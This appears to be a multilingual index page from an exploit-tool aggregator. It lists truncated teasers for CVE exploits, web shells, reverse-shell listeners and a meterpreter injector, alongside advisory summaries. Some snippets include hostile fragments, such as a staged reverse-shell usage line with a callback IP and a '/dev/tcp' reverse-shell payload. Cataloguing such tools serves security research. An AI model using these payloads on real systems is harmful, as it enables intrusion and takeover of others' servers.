CVE-2023-22527-Godzilla-MEMSHELL

CVE-2023-22527-Godzilla-MEMSHELL उपयोग नोट: परीक्षण संस्करण 8.5.1 है, अन्य संस्करण भी काम करेंगे, लेकिन परीक्षण नहीं किया गया। root@kitploit: सामग्री Beichen द्वारा पिछले टूल से संदर्भित है। java -jar CVE-2023-22527-Godzilla-MEMSHELL-main.jar url गॉडज़िला पासवर्ड गॉडज़िला कुंजी उदाहरण java -jar...

CVE-2022-46169

CVE-2022-41343 🐍 CVE-2022-46169 के लिए पायथन एक्सप्लॉइट Cacti = 1.2.22 के लिए स्टेज्ड रिवर्स शेल उदाहरण root@kitploit: cve-2022-46169 10.10.14.5 44444 -u http://cacti.htb उपयोग root@kitploit: usage: cve-2022-46169 -h -u URL -s SHELL ip port positional arguments: ip Shell Callback IP Address/Host...

filtron

Filtron Reverse HTTP proxy to filter requests by different rules. Can be used between production webserver and the application server to prevent abuse of the application backend. The original purpose of this program was to defend searx, but it can be used to guard any web application. Installatio...

ElasticSearch - Remote Code Execution

ElasticSearch before 1.3.8 and 1.4.x before 1.4.3 allows remote attackers to bypass the sandbox protection mechanism and execute arbitrary shell commands via a crafted script to the Groovy scripting engine. id: CVE-2015-1427 info: name: ElasticSearch - Remote Code Execution author: pikpikcu...

Sunhillo SureLine <8.7.0.1.1 - Unauthenticated OS Command Injection

Sunhillo SureLine 8.7.0.1.1 is vulnerable to OS command injection. The /cgi/networkDiag.cgi script directly incorporated user-controllable parameters within a shell command, allowing an attacker to manipulate the resulting command by injecting valid OS command input. The following POST request...

CVE-2022-22947

منسوخ من Original: https://github.com/whwlsfb/cve-2022-22947-godzilla-memshell https://github.com/lucksec/Spring-Cloud-Gateway-CVE-2022-22947...

EUVD-2020-31269

An issue was discovered in LibreNMS 1.65. A remote authenticated attacker with normal privileges can execute arbitrary shell commands through a command injection in the /graph.php API endpoint...

PT-2026-81983

EFence developed by Thinking Software Technology has an Arbitrary File Upload vulnerability. Unauthenticated remote attackers can upload and execute web shell backdoors, thereby enabling arbitrary code execution on the server...

PT-2026-82213

Name of the Vulnerable Software and Affected Versions bestzip versions prior to 2.2.6 bestzip versions prior to 3.0.2 Description The software constructs the argument list for the system zip utility without separating options from operands. Because the destination archive path and caller-supplied...

CVE-2019-15107

Vulnerabilità RCE nello strumento di amministrazione server Webmin CVE-2019-15107 Riepilogo CVE-2019-15107 è una vulnerabilità in Webmin, uno strumento di amministrazione di sistema basato sul web per sistemi Unix. Si verifica nel codice che gestisce la modifica della password, dove un parametro...

BadBash

BadBash CVE-2014-6271 ShellShock RCE PoC-Werkzeug ======= BadBash ist ein CVE-2014-6271 RCE Exploit-Werkzeug. Die Basisversion überprüft nur die HTTP CGI-Seite und bietet nur eine netcat Reverse-Shell auf Port 1234. Entwickler : Andy Yang Version : 0.1.0 Lizenz : GPLv3 Original GitHub-Projekt :...

log4j-rce-test

Compilazione ./build.sh Avvia il server log4j RCE ./start-log4j-rce-server.sh Test Esegui java -cp log4j-rce-1.0-SNAPSHOT-all.jar log4j Controlla se ottieni log in hack.log dalla cartella corrente Puoi modificare questa riga String cmds = "sh", "-c", "echo 'Exploit at '" + getDateString + "...

CVE-2019-0193-exp

CVE-2019-0193-exp 1 root@kitploit: &/dev/tcp/127.0.0.1/9999 0&1"; var result = ; whiletrue var oneline = bufReader.readLine; result.push oneline ; if!oneline break; row.put"title",result.join"\n\r"; return row; 2.jdbc: root@kitploit: &/dev/tcp/127.0.0.1/9999 0&1"; entity name="a"...

CVE-2026-80138 ClipBucket V5 5.5.1 through 5.5.3-#153 OS Command Injection via Installer php_cli_filepath Parameter

ClipBucket V5's web installer fails to properly validate or escape the phpclifilepath parameter before passing it to shell execution. Unauthenticated attackers can submit a crafted POST request to the installer with a malicious phpclifilepath value to execute arbitrary commands as the web server...

casper-shell

🦇 Casper@shell: - Web Shell PHP Avanzata Casper@shell: è una versione potenziata e più user-friendly della shell p0wny, con molte nuove funzionalità. Questa versione mira a essere più utile per eseguire rapidamente ricognizioni, esfiltrazioni o distribuire meccanismi di persistenza. ✨...

cve-2022-1388-1veresk

CVE-2022-1388 por 1vere$k CVE-2022-1388 la prueba de concepto. Dos regímenes de trabajo con: URL objetivo simple, el PUERTO predeterminado será 80 si no se menciona; archivo con lista de objetivos : \n\r; Usage root@kitploit: echo...

CmdLineSpoofer

Spoofer della riga di comando Un esempio di utilizzo di C per iniettare una shell meterpreter, mentre si spoofa la riga di comando. La riga di comando è memorizzata nel Process Environment Block, viene registrata quando un nuovo processo viene avviato e viene visualizzata in strumenti come Proces...

CVE-2017-7494

CVE-2017-7494 CVE-2017-7494 C poc Utilizza CVE-2017-7494 per ottenere una reverse shell 1. Prima compila sambainit.c per generare libsamba.so 2. Modifica gli indirizzi correlati in isknownpipename.c, compila ed esegui...

CVE-2025-5781

Exploit FreePBX CVE-2025-57819 Descrizione Questo script sfrutta una vulnerabilità nelle versioni di FreePBX precedenti alla 16.0.26.0 CVE-2025-57819, consentendo a un attaccante remoto di eseguire codice PHP arbitrario tramite una falla di SQL injection nell'endpoint API AJAX. L'exploit crea sia...

hoaxshell

hoaxshell ⚡ The latest version of this project is the HoaxShell standalone listener which comes with refreshed payload templates. Wou can also use it directly from https://revshells.com make sure to choose hoaxshell as the listener. ⚠️ As of 2022-10-18, hoaxshell is detected by AMSI...